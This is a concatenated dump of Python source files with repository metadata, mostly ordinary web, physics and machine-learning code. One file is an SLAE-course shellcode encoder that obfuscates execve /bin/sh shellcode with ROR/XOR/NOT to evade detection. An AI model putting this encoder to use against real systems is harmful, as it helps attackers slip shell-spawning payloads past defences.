User.query.options(joinedload("type")).get(id) form = UpdateUserForm() form['csrf_token'].data = request.cookies['csrf_token'] if form.validate_on_submit(): print("_______ FORM DATA",form.data) user.username=form.data['username'], user.email=form.data['email'], user.hashed_password=generate_password_hash(form.password.data), user.first_name=form.data['first_name'], user.last_name=form.data['last_name'], user.type_id=form.data['type_id'], user.updated_at=datetime.now() db.session.commit() return user.to_dict_full() return {'errors': validation_errors_to_error_messages(form.errors)} @user_routes.route("/<int:id>/clients") @login_required def admin_fetch_clients(id): authenticated = authenticate() clientUsers = db.session.query(User).filter_by(type_id=2).all() if authenticated["type_id"] != 1: return jsonify({ "errors": [ "Unauthorized" ] }) return jsonify([user.to_dict_full() for user in clientUsers])

30.013514

74

0.692031

296

2,221

4.969595

0.283784

0.047587

0.061183

0.048946

0.182189

0.112848

0.048946

0

0.001086

0.170644

2,221

73

75

30.424658

0.797503

0

0.15

1

0

0.088699

0

1

0.1

false

0.033333

0.133333

0

0.366667

0.05

0

null

0

1

0

null

0

1

c782a4a5ddbb4061270df891d7584a13d55d2191

6,325

py

Python

paul_analysis/Python/labird/gamma.py

lzkelley/arepo-mbh-sims_analysis

f14519552cedd39a040b53e6d7cc538b5b8f38a3

[ "MIT" ]

null

paul_analysis/Python/labird/gamma.py

lzkelley/arepo-mbh-sims_analysis

f14519552cedd39a040b53e6d7cc538b5b8f38a3

[ "MIT" ]

null

paul_analysis/Python/labird/gamma.py

lzkelley/arepo-mbh-sims_analysis

f14519552cedd39a040b53e6d7cc538b5b8f38a3

[ "MIT" ]

null

"""Module for finding an effective equation of state for in the Lyman-alpha forest from a snapshot. Ported to python from Matteo Viel's IDL script.""" import h5py import math import numpy as np def read_gamma(num,base): """Reads in an HDF5 snapshot from the NE gadget version, fits a power law to the equation of state for low density, low temperature gas. Inputs: num - snapshot number base - Snapshot directory Outputs: (T_0, \gamma) - Effective equation of state parameters """ # Baryon density parameter omegab0 = 0.0449 singlefile=False #base="/home/spb41/data2/runs/bf2/" snap=str(num).rjust(3,'0') fname=base+"/snapdir_"+snap+"/snap_"+snap try: f=h5py.File(fname+".0.hdf5",'r') except IOError: fname=base+"/snap_"+snap f=h5py.File(fname+".hdf5",'r') singlefile=True print 'Reading file from:',fname head=f["Header"].attrs npart=head["NumPart_ThisFile"] redshift=head["Redshift"] print "z=",redshift atime=head["Time"] h100=head["HubbleParam"] if npart[0] == 0 : print "No gas particles!\n" return f.close() # Scaling factors and constants Xh = 0.76 # Hydrogen fraction G = 6.672e-11 # N m^2 kg^-2 kB = 1.3806e-23 # J K^-1 Mpc = 3.0856e22 # m kpc = 3.0856e19 # m Msun = 1.989e30 # kg mH = 1.672e-27 # kg H0 = 1.e5/Mpc # 100 km s^-1 Mpc^-1 in SI units gamma = 5.0/3.0 rscale = (kpc * atime)/h100 # convert length to m #vscale = atime**0.5 # convert velocity to km s^-1 mscale = (1e10 * Msun)/h100 # convert mass to kg dscale = mscale / (rscale**3.0) # convert density to kg m^-3 escale = 1e6 # convert energy/unit mass to J kg^-1 N = 0 sx = 0 sy = 0 sxx = 0 sxy = 0 met = 0 carb = 0 oxy = 0 totmass=0 totigmmass=0 totmet = 0 sxxm = 0 sxym = 0 sxm = 0 sym = 0 for i in np.arange(0,500) : ffname=fname+"."+str(i)+".hdf5" if singlefile: ffname=fname+".hdf5" if i > 0: break #print 'Reading file ',ffname try: f=h5py.File(ffname,'r') except IOError: break head=f["Header"].attrs npart=head["NumPart_ThisFile"] if npart[0] == 0 : print "No gas particles in file ",i,"!\n" break bar = f["PartType0"] u=np.array(bar['InternalEnergy'],dtype=np.float64) rho=np.array(bar['Density'],dtype=np.float64) nelec=np.array(bar['ElectronAbundance'],dtype=np.float64) metalic = np.array(bar['GFM_Metallicity'],dtype=np.float64) metals = np.array(bar['GFM_Metals'],dtype=np.float64) mass = np.array(bar['Masses'], dtype=np.float64) #nH0=np.array(bar['NeutralHydrogenAbundance']) f.close() # Convert to physical SI units. Only energy and density considered here. rho *= dscale # kg m^-3, ,physical u *= escale # J kg^-1 ## Mean molecular weight mu = 1.0 / ((Xh * (0.75 + nelec)) + 0.25) #temp = mu/kB * (gamma-1) * u * mH #templog = alog10(temp) templog=np.log10(mu/kB * (gamma-1) * u * mH) ##### Critical matter/energy density at z=0.0 rhoc = 3 * (H0*h100)**2 / (8. * math.pi * G) # kg m^-3 ##### Mean hydrogen density of the Universe nHc = rhoc /mH * omegab0 *Xh * (1.+redshift)**3.0 ##### Physical hydrogen number density #nH = rho * Xh / mH ### Hydrogen density as a fraction of the mean hydrogen density overden = np.log10(rho*Xh/mH / nHc) ### Calculates average/median temperature in a given overdensity range# #overden = rho/(rhoc *omegab) #ind = where(overden ge -0.01 and overden le 0.01) #avgT0 = mean(temp(ind)) #medT0 = median(temp(ind)) #loT0 = min(temp(ind)) #hiT0 = max(temp(ind)) # #avgnH1 = mean(nH0(ind)) #mednH1 = median(nH0(ind)) #lonH1 = min(nH0(ind)) #hinH1 = max(nH0(ind)) # #print,'' #print,'Temperature (K) at mean cosmic density' #print,'Average temperature [K,log]:',avgT0,alog10(avgT0) #print,'Median temperature [K,log]:',medT0,alog10(medT0) #print,'Maximum temperature [K,log]:',hiT0,alog10(hiT0) #print,'Minimum temperature [K,log]:',loT0,alog10(loT0) # #print #print,'nH1/nH at mean cosmic density' #print,'Mean log H1 abundance [nH1/nH,log]:',avgnH1,alog10(avgnH1) #print,'Median log H1 abundance [nH1/nH,log]:',mednH1,alog10(mednH1) #print,'Maximum log H1 abundance [nH1/nH,log]:',hinH1,alog10(hinH1) #print,'Minimum log H1 abundance [nH1/nH,log]:',lonH1,alog10(lonH1) #print # ind2 = np.where((overden > 0) * (overden < 1.5) ) tempfit = templog[ind2] overdenfit = overden[ind2] N += np.size(ind2) #print, "Number of fitting points for equation of state", N indm = np.where(metals < 1e-10) metals[indm] = 1e-10 sx += np.sum(overdenfit) sy += np.sum(tempfit) sxx += np.sum(overdenfit*overdenfit) sxy += np.sum(overdenfit*tempfit) met += np.sum(mass[ind2]*metalic[ind2]) carb += np.sum(mass[ind2]*metals[ind2,2]) oxy += np.sum(mass[ind2]*metals[ind2,4]) totmet += np.sum(mass*metalic) totmass += np.sum(mass) totigmmass += np.sum(mass[ind2]) sym += np.sum(np.log10(metals[ind2,2])) sxym += np.sum(overdenfit*np.log10(metals[ind2,2])) # log T = log(T_0) + (gamma-1) log(rho/rho_0) # and use least squares fit. delta = (N*sxx)-(sx*sx) a = ((sxx*sy) - (sx*sxy))/delta b = ((N*sxy) - (sx*sy))/delta amet = ((sxx*sym) - (sx*sxym))/delta bmet = ((N*sxym) - (sx*sym))/delta print num,": gamma", b+1.0," log(T0)", a," T0 (K)", (10.0)**a, "Metallicity: ", met/totigmmass,totmet/totmass, "[C/H,O/H]: ",carb/totigmmass, oxy/totigmmass,"(a_Z, b_Z): ",10**amet, bmet raise Exception return (redshift,10.0**a, b+1)

32.772021

192

0.552727

877

6,325

3.971494

0.297605

0.017227

0.020098

0.019523

0.109101

0.084984

0.039047

0

0.062134

0.297708

6,325

192

193

32.942708

0.721972

0.286008

0

0.137615

0

0.080321

0

null

0

0.027523

null

0.045872

0

null

0

null

0

1

0

1

c785fce89075a58bb84f43684cf4f43e70fff95c

3,561

py

Python

MySite/MainApp/views.py

tananyan/siteee

f90c4ed56122d1af2f3795a0f16c3f294b785ad3

[ "MIT" ]

1

2021-11-29T14:50:09.000Z

MySite/MainApp/views.py

tananyan/siteee

f90c4ed56122d1af2f3795a0f16c3f294b785ad3

[ "MIT" ]

null

MySite/MainApp/views.py

tananyan/siteee

f90c4ed56122d1af2f3795a0f16c3f294b785ad3

[ "MIT" ]

null

from django.shortcuts import render from django.views.generic.edit import FormView from django.views.generic.edit import View from . import forms # Опять же, спасибо django за готовую форму аутентификации. from django.contrib.auth.forms import AuthenticationForm from django.contrib.auth import logout from django.http import HttpResponseRedirect from django.contrib.auth import login class index(FormView): form_class = AuthenticationForm # Аналогично регистрации, только используем шаблон аутентификации. template_name = "MainApp/homepage.html" # В случае успеха перенаправим на главную. success_url = "/" def get(self, request): form1 = AuthenticationForm(request.POST) return render(request, 'MainApp/homepage.html', {'form': form1, 'user': request.user}) def form_valid(self, form): # Получаем объект пользователя на основе введённых в форму данных. self.user = form.get_user() # Выполняем аутентификацию пользователя. login(self.request, self.user) return super(index, self).form_valid(form) class contact(FormView): form_class = AuthenticationForm # Аналогично регистрации, только используем шаблон аутентификации. template_name = "MainApp/contact.html" # В случае успеха перенаправим на главную. success_url = "../contact/" def get(self, request): form1 = AuthenticationForm(request.POST) return render(request, 'MainApp/contact.html', {'values': ['Звоните по телефону', 'boris@yandex.ru', '8(977)335-77-77'], 'form': form1, 'user': request.user}) def form_valid(self, form): # Получаем объект пользователя на основе введённых в форму данных. self.user = form.get_user() # Выполняем аутентификацию пользователя. login(self.request, self.user) return super(contact, self).form_valid(form) class registration(FormView): form_class = forms.UserCreationForm # Ссылка, на которую будет перенаправляться пользователь в случае успешной регистрации. # В данном случае указана ссылка на страницу входа для зарегистрированных пользователей. success_url = "/login/" # Шаблон, который будет использоваться при отображении представления. template_name = "MainApp/registration_form.html" def form_valid(self, form): # Создаём пользователя, если данные в форму были введены корректно. form.save() # Вызываем метод базового класса return super(registration, self).form_valid(form) class LogoutView(View): def get(self, request): # Выполняем выход для пользователя, запросившего данное представление. logout(request) # После чего, перенаправляем пользователя на главную страницу. #return HttpResponseRedirect("/seeuagain") return render(request, 'MainApp/quitpage.html') class LoginFormView(FormView): form_class = AuthenticationForm # Аналогично регистрации, только используем шаблон аутентификации. template_name = "MainApp/login_form.html" # В случае успеха перенаправим на главную. success_url = "/news" def form_valid(self, form): # Получаем объект пользователя на основе введённых в форму данных. self.user = form.get_user() # Выполняем аутентификацию пользователя. login(self.request, self.user) return super(LoginFormView, self).form_valid(form)

33.914286

134

0.686043

387

3,561

6.248062

0.307494

0.029777

0.028122

0.026468

0.568652

0.510753

0.484285

0.424731

0

0.005492

0.233081

3,561

104

135

34.240385

0.879897

0.335861

0

0.352941

0

0.112104

0.051809

0

1

0.137255

false

0

0.156863

0

0.764706

0

null

0

null

0

1

0

1

c787d4b85054cce4a273d4cda061e7e65933333a

3,351

py

Python

PhysicsTools/PythonAnalysis/python/ParticleDecayDrawer.py

nistefan/cmssw

ea13af97f7f2117a4f590a5e654e06ecd9825a5b

[ "Apache-2.0" ]

null

PhysicsTools/PythonAnalysis/python/ParticleDecayDrawer.py

nistefan/cmssw

ea13af97f7f2117a4f590a5e654e06ecd9825a5b

[ "Apache-2.0" ]

null

PhysicsTools/PythonAnalysis/python/ParticleDecayDrawer.py

nistefan/cmssw

ea13af97f7f2117a4f590a5e654e06ecd9825a5b

[ "Apache-2.0" ]

null

# Benedikt Hegner, DESY # benedikt.hegner@cern.ch # # this tool is based on Luca Lista's tree drawer module class ParticleDecayDrawer(object): """Draws particle decay tree """ def __init__(self): print "Init particleDecayDrawer" # booleans: printP4 printPtEtaPhi printVertex def _accept(self, candidate, skipList): if candidate in skipList: return False; return self._select(candidate) def _select(self, candidate): return candidate.status() == 3 def _hasValidDaughters(self, candidate): nDaughters = candidate.numChildren() for i in xrange(nDaughters): if self._select(candidate.listChildren()[i]): return True return False def _printP4(self, candidate): return " " def _decay(self, candidate, skipList): out = str() if candidate in skipList: return "" skipList.append(candidate) id = candidate.pdg_id() # here the part about the names :-( out += str(id) + self._printP4(candidate) validDau = 0 nOfDaughters = candidate.numChildren() for i in xrange(nOfDaughters): if self._accept(candidate.listChildren()[i], skipList): validDau+=1 if validDau == 0: return out out += " ->" for i in xrange(nOfDaughters): d = candidate.listChildren()[i] if self._accept(d, skipList): decString = self._decay(d, skipList) if ("->" in decString): out += " ( %s ) " %decString else: out += " %s" %decString return out def draw(self, particles): """ draw decay tree from list(HepMC.GenParticles)""" skipList = [] nodesList = [] momsList = [] for particle in particles: if particle.numParents() > 1: if self._select(particle): skipList.append(particle) nodesList.append(particle) for j in xrange(particle.numParents()): mom = particle.listParents()[j] while (mom.mother()):# != None ): mom = mom.mother() if self._select(mom): momsList.append(mom) print "-- decay --" if len(momsList) > 0: if len(momsList) > 1: for m in xrange(len(momsList)): decString = self._decay( momsList[m], skipList) if len(decString) > 0: print "{ %s } " %decString else: print self._decay(momsList[0], skipList) if len(nodesList) > 0: print "-> " if len(nodesList) > 1: for node in nodesList: skipList.remove(node) decString = self._decay(node, skipList) if len(decString) > 0: if "->" in decString: print " ( %s ) " %decString else: print " " + decString else: skipList.remove(nodesList[0]) print self._decay(nodesList[0], skipList) print

33.848485

81

0.497165

310

3,351

5.303226

0.270968

0.018248

0.010949

0.021898

0.150852

0.038929

0

0.008487

0.402268

3,351

98

82

34.193878

0.812282

0.057296

0

0.111111

0

0.023802

0

null

0

null

0.152778

0

null

0

null

0

1

0

1

c78c8acd4546ee0e8cf65b0df48d4a928c3e7481

1,262

py

Python

model/model.py

CaoHoangTung/shark-cop-server

38cb494d45297b723b4ef6bf82b8c9e53c2993a0

[ "MIT" ]

2

2020-10-02T03:01:32.000Z

2020-12-06T09:21:06.000Z

model/model.py

CaoHoangTung/shark-cop-server

38cb494d45297b723b4ef6bf82b8c9e53c2993a0

[ "MIT" ]

null

model/model.py

CaoHoangTung/shark-cop-server

38cb494d45297b723b4ef6bf82b8c9e53c2993a0

[ "MIT" ]

null

import pandas as pd import numpy as np import matplotlib.pyplot as plt from sklearn.model_selection import train_test_split from sklearn.svm import SVC from sklearn.metrics import classification_report, confusion_matrix from mlxtend.plotting import plot_decision_regions # from sklearn import datasets from pandas.plotting import scatter_matrix from joblib import dump, load import collections kaggle_data = pd.read_csv('data/kaggle.csv') data = pd.read_csv('data/new_data.csv') kaggle_X = kaggle_data.iloc[:, :30].values X = data.drop(['index'],axis=1).iloc[:, :30].values y = data.iloc[:,-1].values X_train, X_test, y_train, y_test = train_test_split(X, y, test_size = 0.99) kaggle_X_train, kaggle_X_test, kaggle_y_train, kaggle_y_test = train_test_split(X, y, test_size = 0.02) svclassifier = SVC(kernel='poly',degree=5) svclassifier.fit(kaggle_X_train, kaggle_y_train) dump(svclassifier, 'pre_model.joblib') y_pred = svclassifier.predict(X_test) print(confusion_matrix(y_test,y_pred)) print(classification_report(y_test,y_pred)) # print("X=%s, Predicted=%s" % (test_2d, y_pred_test[0])) # print(y_pred.shape) # TESTING ZONE X = [[-1,1,0,-1,-1,-1,1,0,-1,1,1,-1,0,0,-1,-1,-1,-1,0,1,0,0,0,-1,1,1,1,1,-1,-1]] print("PREDICTION:",svclassifier.predict(X))

33.210526

103

0.759113

225

1,262

4.04

0.306667

0.035204

0.036304

0.030803

0.168317

0.09791

0.088009

0.080308

0.066007

0

0.039301

0.09271

1,262

37

104

34.108108

0.754585

0.09271

0

0.059649

0

1

0

false

0

0.4

0

0.4

0.12

0

null

0

null

0

1

0

1

c78d62ba8abdde61ef2fb89e7ca95a09bbcfc5d2

282

py

Python

v1/models.py

jdubansky/openstates.org

6fd5592aae554c4bb201f0a76ed3605bff5204c2

[ "MIT" ]

1

2022-01-17T11:54:28.000Z

v1/models.py

washabstract/openstates.org

dc541ae5cd09dd3b3db623178bf32a03d0246f01

[ "MIT" ]

null

v1/models.py

washabstract/openstates.org

dc541ae5cd09dd3b3db623178bf32a03d0246f01

[ "MIT" ]

null

from django.db import models from openstates.data.models import Bill class LegacyBillMapping(models.Model): legacy_id = models.CharField(max_length=20, primary_key=True) bill = models.ForeignKey( Bill, related_name="legacy_mapping", on_delete=models.CASCADE )

28.2

69

0.758865

37

282

5.621622

0.72973

0

0.008368

0.152482

282

9

70

31.333333

0.861925

0

0.049645

0

1

0

false

0

0.285714

0

0.714286

0

null

0

1

0

null

0

1

c794ff339d897246d1f9ee7d50c25c7781c1ee06

3,286

py

Python

mo_leduc.py

mohamedun/Deep-CFR

ec3a7fb06e11bd6cc65bb2bf6f16108ee41f7234

[ "MIT" ]

null

mo_leduc.py

mohamedun/Deep-CFR

ec3a7fb06e11bd6cc65bb2bf6f16108ee41f7234

[ "MIT" ]

null

mo_leduc.py

mohamedun/Deep-CFR

ec3a7fb06e11bd6cc65bb2bf6f16108ee41f7234

[ "MIT" ]

null

from PokerRL.game.games import StandardLeduc from PokerRL.game.games import BigLeduc from PokerRL.eval.rl_br.RLBRArgs import RLBRArgs from PokerRL.eval.lbr.LBRArgs import LBRArgs from PokerRL.game.bet_sets import POT_ONLY from DeepCFR.EvalAgentDeepCFR import EvalAgentDeepCFR from DeepCFR.TrainingProfile import TrainingProfile from DeepCFR.workers.driver.Driver import Driver import pdb if __name__ == '__main__': ctrl = Driver(t_prof=TrainingProfile(name="MO_LEDUC_BigLeduc_LBR", nn_type="feedforward", eval_agent_export_freq=3, checkpoint_freq=3, n_learner_actor_workers=5, max_buffer_size_adv=1e6, n_traversals_per_iter=500, n_batches_adv_training=250, mini_batch_size_adv=2048, game_cls=BigLeduc, n_units_final_adv=64, n_merge_and_table_layer_units_adv=64, init_adv_model="random", # warm start neural weights with init from last iter use_pre_layers_adv=False, # shallower nets use_pre_layers_avrg=False, # shallower nets # You can specify one or both modes. Choosing both is useful to compare them. eval_modes_of_algo=( EvalAgentDeepCFR.EVAL_MODE_SINGLE, # SD-CFR ), DISTRIBUTED=True, log_verbose=True, rl_br_args=RLBRArgs(rlbr_bet_set=None, n_hands_each_seat=200, n_workers=1, # Training DISTRIBUTED=False, n_iterations=100, play_n_games_per_iter=50, # The DDQN batch_size=512, ), lbr_args=LBRArgs(n_lbr_hands_per_seat=30000, n_parallel_lbr_workers=10, DISTRIBUTED=True, ), ), eval_methods={'br': 1, #'rlbr': 1, 'lbr': 1, }, n_iterations=12) ctrl.run() pdb.set_trace()

54.766667

119

0.370663

240

3,286

4.725

0.533333

0.048501

0.039683

0.035273

0.045855

0

0.031734

0.587645

3,286

59

120

55.694915

0.805166

0.058125

0

0.122449

0

0.016526

0.006805

0

1

0

false

0

0.183673

0

0.183673

0

null

0

1

0

null

0

1

c79a2fb3f10def9e365b5ba6af795f7018c3bbe1

693

py

Python

museflow/components/embedding_layer.py

BILLXZY1215/museflow

241a98ef7b3f435f29bd5d2861ac7b17d4c091d8

[ "BSD-3-Clause" ]

null

museflow/components/embedding_layer.py

BILLXZY1215/museflow

241a98ef7b3f435f29bd5d2861ac7b17d4c091d8

[ "BSD-3-Clause" ]

null

museflow/components/embedding_layer.py

BILLXZY1215/museflow

241a98ef7b3f435f29bd5d2861ac7b17d4c091d8

[ "BSD-3-Clause" ]

null

from .component import Component, using_scope import tensorflow.compat.v1 as tf tf.disable_v2_behavior() class EmbeddingLayer(Component): def __init__(self, input_size, output_size, name='embedding'): Component.__init__(self, name=name) self.input_size = input_size self.output_size = output_size with self.use_scope(): self.embedding_matrix = tf.get_variable( 'embedding_matrix', shape=[self.input_size, self.output_size]) self._built = True @using_scope def embed(self, x): return tf.nn.embedding_lookup(self.embedding_matrix, x) def __call__(self, inputs): return self.embed(inputs)

27.72

78

0.681097

88

693

5.011364

0.431818

0.081633

0.088435

0.086168

0.104308

0

0.003717

0.223665

693

24

79

28.875

0.815985

0

0.036075

0

1

0.176471

false

0

0.117647

0.470588

0

null

0

null

0

1

0

1

c7a2778b2130c187c84f5bc78fd439f687e7ad10

450

py

Python

passy_forms/forms/forms.py

vleon1/passy

fe48ed9f932eb6df9dbe463344b034218c81567b

[ "Apache-2.0" ]

null

passy_forms/forms/forms.py

vleon1/passy

fe48ed9f932eb6df9dbe463344b034218c81567b

[ "Apache-2.0" ]

19

2017-02-18T17:53:56.000Z

2017-03-11T22:09:06.000Z

passy_forms/forms/forms.py

vleon1/passy

fe48ed9f932eb6df9dbe463344b034218c81567b

[ "Apache-2.0" ]

null

from django.forms import forms class Form(forms.Form): def get_value(self, name): self.is_valid() # making sure we tried to clean the data before accessing it if self.is_bound and name in self.cleaned_data: return self.cleaned_data[name] field = self[name] return field.value() or "" def to_dict(self): return {name: self.get_value(name) for name in self.fields}

23.684211

86

0.622222

65

450

4.2

0.538462

0.058608

0.07326

0

0.295556

450

18

87

25

0.861199

0.128889

0

1

0.2

false

0

0.1

0.7

0

null

0

null

0

1

0

1

c7a2d818488a83ba3e02cfaea886aa5551f314ae

1,172

py

Python

assignment4/rorxornotencode.py

gkweb76/SLAE

c0aef9610a5f75568a0e65c4a91a3bb5a56e6fc6

[ "MIT" ]

15

2015-08-11T09:50:00.000Z

2021-10-02T19:30:53.000Z

assignment4/rorxornotencode.py

gkweb76/SLAE

c0aef9610a5f75568a0e65c4a91a3bb5a56e6fc6

[ "MIT" ]

null

assignment4/rorxornotencode.py

gkweb76/SLAE

c0aef9610a5f75568a0e65c4a91a3bb5a56e6fc6

[ "MIT" ]

9

2015-08-11T09:51:55.000Z

2021-10-18T18:04:11.000Z

#!/usr/bin/python # Title: ROR/XOR/NOT encoder # File: rorxornotencode.py # Author: Guillaume Kaddouch # SLAE-681 import sys ror = lambda val, r_bits, max_bits: \ ((val & (2**max_bits-1)) >> r_bits%max_bits) | \ (val << (max_bits-(r_bits%max_bits)) & (2**max_bits-1)) shellcode = ( "\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" ) encoded = "" encoded2 = "" print "[*] Encoding shellcode..." for x in bytearray(shellcode): # ROR & XOR encoding z = ror(x, 7, 8)^0xAA # NOT encoding y = ~z if str('%02x' % (y & 0xff)).upper() == "00": print ">>>>>>>>>> NULL detected in shellcode, aborting." sys.exit() if str('%02x' % (y & 0xff)).upper() == "0A": print ">>>>>>>>>> \\xOA detected in shellcode." if str('%02x' % (y & 0xff)).upper() == "0D": print ">>>>>>>>>>> \\x0D detected in shellcode." encoded += '\\x' encoded += '%02x' % (y & 0xff) encoded2 += '0x' encoded2 += '%02x,' %(y & 0xff) print "hex version : %s" % encoded print "nasm version : %s" % encoded2 print "encoded shellcode : %s bytes" % str(len(encoded)/4)

23.44

102

0.562287

164

1,172

3.963415

0.481707

0.064615

0.061538

0.055385

0.129231

0.083077

0

0.080698

0.217577

1,172

49

103

23.918367

0.628135

0.116041

0

0.037037

0.336249

0.097182

0

0.023324

0

null

0

0.037037

null

0.259259

0

null

0

null

0

1

0

1

c7a9038c8840f231377e3ea552d065f35efee699

289

py

Python

Python/first_flask_project/utilities/file_reader.py

maxxxxxdlp/code_share

4f9375bf4bdf6048b54b22bd1fa0d3ad010de7ef

[ "MIT" ]

null

Python/first_flask_project/utilities/file_reader.py

maxxxxxdlp/code_share

4f9375bf4bdf6048b54b22bd1fa0d3ad010de7ef

[ "MIT" ]

33

2021-07-11T22:55:42.000Z

2022-01-07T23:23:43.000Z

Python/first_flask_project/utilities/file_reader.py

maxxxxxdlp/code_share

4f9375bf4bdf6048b54b22bd1fa0d3ad010de7ef

[ "MIT" ]

null

def read_csv(root, file_name, keys): with open('{root}private_static/csv/{file_name}.csv'.format(root=root, file_name=file_name)) as file: data = file.read() lines = data.split("\n") return [dict(zip(keys, line.split(','))) for i, line in enumerate(lines) if i != 0]

36.125

105

0.650519

47

289

3.87234

0.574468

0.175824

0.131868

0

0.004167

0.16955

289

7

106

41.285714

0.754167

0

0.148789

0.138408

0

1

0.2

false

0

0.4

0

null

0

1

0

null

0

1

c7b11734daef5c05aa9cf025632e59324996f20e

2,954

py

Python

customer_support/utils.py

rtnpro/django-customer-support

6de8d9301fe01a42fa6799757a107be69ee82426

[ "MIT" ]

1

2017-05-06T04:49:45.000Z

customer_support/utils.py

rtnpro/django-customer-support

6de8d9301fe01a42fa6799757a107be69ee82426

[ "MIT" ]

null

customer_support/utils.py

rtnpro/django-customer-support

6de8d9301fe01a42fa6799757a107be69ee82426

[ "MIT" ]

null

from __future__ import absolute_import from django.shortcuts import render import simplejson import datetime from django.http import HttpResponse class GenericItemBase(object): ITEM_ATTRS = [] def __init__(self, identifier): self.identifier = identifier def jsonify(self, value): """ Method to convert non JSON serializable objects into an equivalent JSON serializable form. """ return value def json(self): raise NotImplementedError def render_json(self): raise NotImplementedError def render_html(self): raise NotImplementedError class GenericItem(GenericItemBase): TEMPLATE = 'customer_support/item.html' def __init__(self, *args, **kwargs): super(GenericItem, self).__init__(*args, **kwargs) self._item = {} def get_item(self, identifier): raise NotImplementedError def set_item(self, data): self._item = {} for key, value in data.items(): if key in self.ITEM_ATTRS: self._item[key] = value def json(self): item = {} for attr_name in self.ITEM_ATTRS: attr = self.jsonify(self._item[attr_name]) if isinstance(attr, datetime): attr = attr.strftime('%Y-%m-%d %H:%M') item[attr_name] = attr return simplejson.dumps(item) def render_json(self): return HttpResponse( self.json(), mimetype='application/json') def render_html(self): return render(self.TEMPLATE, {'item': self._item}) class GenericItems(GenericItemBase): TEMPLATE = 'customer_support/items.html' def __init__(self, *args, **kwargs): super(GenericItem, self).__init__(*args, **kwargs) self._items = [] def get_items(self, for_entity): raise NotImplementedError def set_items(self, items): self._items = items def json(self): items = [] for item in self._items: item_dict = {} for attr_name in self.ITEM_ATTRS: attr = self.jsonify(item[attr_name]) if isinstance(attr, datetime): attr = attr.strftime('%Y-%m-%d %H:%M') item_dict[attr_name] = attr items.append(item) return simplejson.dumps(items) def render_json(self): return HttpResponse( self.json(), mimetype='application/json') def render_html(self): return render(self.TEMPLATE, {'items': self._items}) class GenericActions(object): def __init__(self, item_id): self.item_id = item_id self.actions = [] def get_actions_for_item(self): raise NotImplementedError def json(self): return simplejson.dumps(self.actions) def render_json(self): return HttpResponse(self.json(), mimetype='application/json') def render_html(self): pass

25.912281

69

0.613067

332

2,954

5.240964

0.213855

0.050575

0.077586

0.03908

0.407471

0.360345

0

0.28436

2,954

113

70

26.141593

0.823084

0.030467

0

0.43038

0

0.048729

0.018715

0

1

0.278481

false

0.012658

0.063291

0.075949

0.544304

0

null

0

null

0

1

0

1

c7b513ddbd33e479f8df70d1c5b9306a2ec0133a

3,072

py

Python

mercury_ml/keras/containers.py

gabrieloexle/mercury-ml

cc663f84a26ee66ae105bbfc0cd1cbd5629031cd

[ "MIT" ]

null

mercury_ml/keras/containers.py

gabrieloexle/mercury-ml

cc663f84a26ee66ae105bbfc0cd1cbd5629031cd

[ "MIT" ]

null

mercury_ml/keras/containers.py

gabrieloexle/mercury-ml

cc663f84a26ee66ae105bbfc0cd1cbd5629031cd

[ "MIT" ]

null

""" Simple IoC containers that provide direct access to various Keras providers """ class ModelSavers: from mercury_ml.keras.providers import model_saving save_hdf5 = model_saving.save_keras_hdf5 save_tensorflow_graph = model_saving.save_tensorflow_graph save_tensorrt_pbtxt_config = model_saving.save_tensorrt_pbtxt_config save_tensorrt_json_config = model_saving.save_tensorrt_json_config save_labels_txt = model_saving.save_labels_txt save_tensorflow_serving_predict_signature_def = model_saving.save_tensorflow_serving_predict_signature_def class ModelLoaders: from mercury_ml.keras.providers import model_loading load_hdf5 = model_loading.load_hdf5_model class LossFunctionFetchers: from mercury_ml.keras.providers import loss_function_fetching get_keras_loss = loss_function_fetching.get_keras_loss get_custom_loss = loss_function_fetching.get_custom_loss class OptimizerFetchers: from mercury_ml.keras.providers import optimizer_fetching get_keras_optimizer = optimizer_fetching.get_keras_optimizer class ModelCompilers: from mercury_ml.keras.providers import model_compilation compile_model = model_compilation.compile_model class ModelFitters: from mercury_ml.keras.providers import model_fitting fit = model_fitting.fit fit_generator = model_fitting.fit_generator class ModelDefinitions: from mercury_ml.keras.providers.model_definition import conv_simple, mlp_simple # these are just two small example model definitions. Users should define their own models # to use as follows: # >>> ModelDefinitions.my_model = my_model_module.define_model define_conv_simple = conv_simple.define_model define_mlp_simple = mlp_simple.define_model class GeneratorPreprocessingFunctionGetters: from mercury_ml.keras.providers.generator_preprocessors import get_random_eraser get_random_eraser = get_random_eraser class CallBacks: from mercury_ml.keras.providers.model_callbacks import TensorBoardProvider, \ BaseLoggerProvider, EarlyStoppingProvider, ModelCheckpointProvider, TerminateOnNaNProvider, \ ProgbarLoggerProvider, RemoteMonitorProvider, LearningRateSchedulerProvider, ReduceLROnPlateauProvider, \ CSVLoggerProvider tensorboard = TensorBoardProvider base_logger = BaseLoggerProvider terminate_on_nan = TerminateOnNaNProvider progbar_logger = ProgbarLoggerProvider model_checkpoint = ModelCheckpointProvider early_stopping = EarlyStoppingProvider remote_monitor = RemoteMonitorProvider learning_rate_scheduler = LearningRateSchedulerProvider reduce_lr_on_plateau = ReduceLROnPlateauProvider csv_logger = CSVLoggerProvider class ModelEvaluators: from mercury_ml.keras.providers import model_evaluation evaluate = model_evaluation.evaluate evaluate_generator = model_evaluation.evaluate_generator class PredictionFunctions: from mercury_ml.keras.providers import prediction predict = prediction.predict predict_generator = prediction.predict_generator

38.4

113

0.823893

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0.317104

0.225551

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0.138672

3,072

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114

38.886076

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0

1

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false

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0.2

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0.945455

0

null

0

null

0

1

0

1

c7b60df7ecb95aad435c61ec7e818259064a9562

1,851

py

Python

Code Injector/code_injector_BeEF.py

crake7/Defensor-Fortis-

086b055a10b9ac55f444e8d13b4031f998415438

[ "MIT" ]

null

Code Injector/code_injector_BeEF.py

crake7/Defensor-Fortis-

086b055a10b9ac55f444e8d13b4031f998415438

[ "MIT" ]

null

Code Injector/code_injector_BeEF.py

crake7/Defensor-Fortis-

086b055a10b9ac55f444e8d13b4031f998415438

[ "MIT" ]

1

2021-12-20T11:44:51.000Z

